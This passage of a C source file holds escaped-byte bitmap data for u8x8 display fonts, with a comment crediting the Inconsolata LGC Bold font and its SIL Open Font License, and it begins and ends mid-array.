\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 xpp`\\340\\307\\377\\377\\317\\340`\"\n  \"ppx\\0\\0\\0\\20<>\\37\\7\\3\\3\\7\\37><\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\377\\377\\377\\300\\300\\300\"\n  \"\\300\\300\\300\\0\\1\\1\\1\\1\\1\\1\\177\\177\\177\\1\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0cw\\77\\37\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\\7\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\340`\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\177\\37\"\n  \"\\7\\1\\0\\0\\0\\0\\0\\300\\360\\374\\177\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\4\\17\\17\\7\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\340\\340\\340\\300\\200\\0\\0\\0\\0\\360\\376\\377\\177\\7\\1\\200\\300\\360y\\37\"\n  \"\\377\\377\\376\\360\\0\\17\\77\\177\\376\\374\\316\\207\\201\\200\\300\\340\\377\\377\\77\\17\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\1\\1\\1\\377\\377\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\340\\340\\340\\300\\300\\200\\0\\0\\0\\0\\1\\3\\7\\1\\0\\0\\0\\200\\301\\343\\377\"\n  \"\\377\\77\\0\\0\\0\\200\\300\\360\\370\\274\\236\\217\\207\\203\\203\\201\\200\\200\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\0\\200\\300\\300\\340\\340\\340\\340\\340\\340\\300\\300\\200\\0\\0\\0\\0\\0\\1\\1\\341\\340\\340\\340\\360\\361\\377\"\n  \"\\277\\37\\0\\0\\0\\0\\300\\340\\340\\300\\200\\200\\200\\200\\301\\367\\377\\377>\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\340\\0\\0\\0\\0\\0\\0\\200\\340\\360x\\36\\17\\3\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\34\\37\\37\\37\\35\\34\\34\\34\\34\\377\\377\\377\\34\\34\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\"\n  \"\\3\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\0\\0\\0\\0\\177\\377\\377p\\70\\70\\70\\70x\\360\"\n  \"\\360\\300\\200\\0\\0@\\340\\360\\340\\300\\200\\200\\200\\200\\300\\377\\377\\177\\37\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\340\\340\\340\\340\\340\\340\\300\\300\\0\\0\\0\\370\\376\\377\\377sy\\70\\70\\70x\\361\"\n  \"\\361\\300\\200\\0\\0\\37\\177\\377\\375\\340\\300\\200\\200\\200\\300\\377\\377\\177\\37\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\376\\177\"\n  \"\\17\\3\\0\\0\\0\\0\\0\\0\\0\\340\\370\\377\\177\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\340\\340\\340\\300\\300\\200\\0\\0\\0\\0\\17\\77\\377\\377\\341\\340\\300\\340\\361\\377\"\n  \"\\77\\37\\0\\0\\0|\\376\\377\\367\\301\\201\\200\\200\\201\\303\\377\\377\\376<\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\340\\340\\340\\300\\300\\200\\0\\0\\0\\0>\\377\\377\\367\\301\\200\\200\\200\\200\\301\\357\"\n  \"\\377\\377\\370\\0\\0\\200\\300\\341\\301\\203\\203\\203\\203\\303\\341\\377\\377\\77\\17\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0p\\370\\370\\370p\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\\7\\3\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -FreeType-Inconsolata LGC-Bold-R-Normal--44-440-72-72-P-215-ISO10646-1\n  Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Emboldened by MihailJP.    Some glyphs modified by Greg Omelaenko, using FontForge.\n  Glyphs: 191/658\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_inb33_3x6_f[32260] U8X8_FONT_SECTION(\"u8x8_font_inb33_3x6_f\") = \n  \" \\377\\3\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\"\n  \"\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\17\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\17\\217\\217\\217\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\37\\77\\77\\77\"\n  \"\\37\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\360\\360\\340\\0\\0\\0\\0\\340\\360\\360\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\0\\0\"\n  \"\\0\\0\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\"\n  \"\\0\\0\\0\\300\\300\\300\\300\\300\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\376\\377\\377\\377\\217\\200\\200\\200\\200\\377\\377\\377\\377\\203\"\n  \"\\200\\200\\200\\200\\7\\7\\7\\7\\7\\377\\377\\377\\377\\17\\3\\3\\3\\203\\377\\377\\377\\377\\7\\7\\7\\7\\7\\0<<<<\"\n  \"\\374\\377\\377\\377\\77<<<<\\377\\377\\377\\377\\77<<<<\\14\\0\\0\\0\\0x\\177\\177\\177\\37\\0\\0\\0\\0\"\n  \"\\177\\177\\177\\177\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\360\\360\\360\\360\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\370\"\n  \"\\374\\376\\377\\37\\17\\7\\377\\377\\377\\377\\7\\17\\17\\37\\177>\\34\\10\\0\\0\\0\\0\\1\\7\\17\\37\\37\\77>|\\377\\377\"\n  \"\\377\\377\\360\\360\\340\\340\\340\\300\\200\\0\\0\\0\\0\\0\\300\\340\\340\\300\\200\\0\\0\\0\\377\\377\\377\\377\\1\\1\\203\\307\\377\\377\"\n  \"\\377\\377~\\0\\0\\1\\3\\7\\7\\17\\17\\17\\37\\36\\377\\377\\377\\377\\36\\17\\17\\17\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300@\\0\\0\\377\\377\\377\\307\\307\\307\\307\\377\\377\\377\\377|\\200\\340\\370\\374\\377\\77\\37\\7\"\n  \"\\1\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\303\\363\\375\\376\\177\\37\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\"\n  \"\\340\\370\\376\\377\\77\\17\\3\\361\\374\\376\\376\\37\\37\\37\\37\\376\\376\\374\\360\\0\\60<\\77\\77\\37\\7\\1\\0\\0\\0\\0\\3\"\n  \"\\17\\37\\37>>>>\\37\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\"\n  \"\\376\\377\\377\\377\\17\\7\\3\\7\\17\\377\\377\\377\\376\\374\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\303\\357\\377\\377\\177\\374\\370\\374\"\n  \"\\377\\337\\17\\7\\3\\0\\0\\200\\200\\200\\0\\0\\370\\376\\377\\377\\377\\207\\1\\0\\0\\0\\1\\7\\17\\277\\377\\376\\374\\370\\374\\377\"\n  \"\\377\\77\\17\\6\\1\\7\\17\\37\\37\\37>>>>>>\\37\\37\\17\\17\\7\\7\\17\\77\\77\\37\\34\\10\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\360\"\n  \"\\360\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\360\\360\\370xx`\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\200\\340\\370\\374\\377\\377\\77\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\377\\377\\377\\377\\17\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\377\\377\\377\\377\\370\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\177\\377\\376\\370\\360\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\17\\37\\77\\36\\14\\0\\0\\0\\0\\0\\300\\360\\360\\340\\340\\300\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\17\\37\\77\\377\\376\\374\\360\\340\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\37\\377\\377\\377\\376\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\377\\377\\377\\377\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\376\"\n  \"\\377\\177\\37\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0<|>\\77\\37\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70>><|xxp\\360\\377\\377\\377\"\n  \"\\377\\361pxx|<<>\\70 \\0\\0\\0@\\340\\360\\370\\376\\177\\77\\17\\7\\3\\17\\37\\177\\376\\374\\370\\340\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\370\\370\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0xxxxxxxxx\\377\\377\\377\\377\\377xxxxxxxx\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70|\\376\\376\\376\\376\\374\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0 \\60x~\\77\\37\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70|\\376\\376\\376|\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\340\\360\\360\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\77\\17\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\177\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\340\\374\\377\\377\\177\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0`x\\376\\377\\177\\37\\7\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\"\n  \"\\376\\377\\177\\37\\17\\7\\7\\7\\7\\17\\337\\377\\377\\376\\374\\360\\300\\0\\0\\0\\376\\377\\377\\377\\377\\3\\0\\0\\200\\340\\360\\370\"\n  \"~\\37\\17\\7\\1\\377\\377\\377\\377\\376\\0\\0\\7\\77\\377\\377\\377\\370\\374\\237\\17\\7\\1\\0\\0\\0\\0\\300\\370\\377\\377\\377\"\n  \"\\177\\7\\0\\0\\0\\0\\0\\3\\7\\17\\37\\37\\77>>>>>\\37\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\34\\36\\36\\17\\17\\17\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\"\n  \"\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\34\"\n  \">\\177\\37\\17\\7\\7\\7\\3\\7\\7\\7\\17\\77\\377\\377\\376\\374\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\"\n  \"\\200\\300\\340\\370\\374\\377\\177\\77\\17\\3\\0\\0\\0\\0\\0\\0\\200\\340\\360\\370\\374\\376\\77\\37\\17\\7\\7\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0<\\77\\77\\77\\77\\77=<<<<<<<<<<<>>\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\17\\37\\17\\7\\7\\7\\7\\7\\7\\7\\7\\37\\377\\377\\376\\374\\370\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0xx||||\\374\\376\\377\\377\\377\\347\\303\\201\\0\\0\\0\\0\\0\\0\\0\\300\"\n  \"\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\303\\377\\377\\377\\377\\376\\0\\0\\0\\0\\6\\17\\17\\37\\37>>>>>>\"\n  \">>\\37\\37\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\200\\300\\340\\370\\374\\177\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\376\\77\\37\\7\\3\\0\"\n  \"\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0<\\77\\77\\77\\77=<<<<<<<\\377\\377\\377\\377\\377<<\"\n  \"<<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\0\\0\\0\\0\\0\\60\\177\\177\\377\\77\\77\\36\\37\\37\\37\\37\\37\\37>\\376\\374\\374\\370\\340\\200\\0\\0\\0\\0\\200\\300\"\n  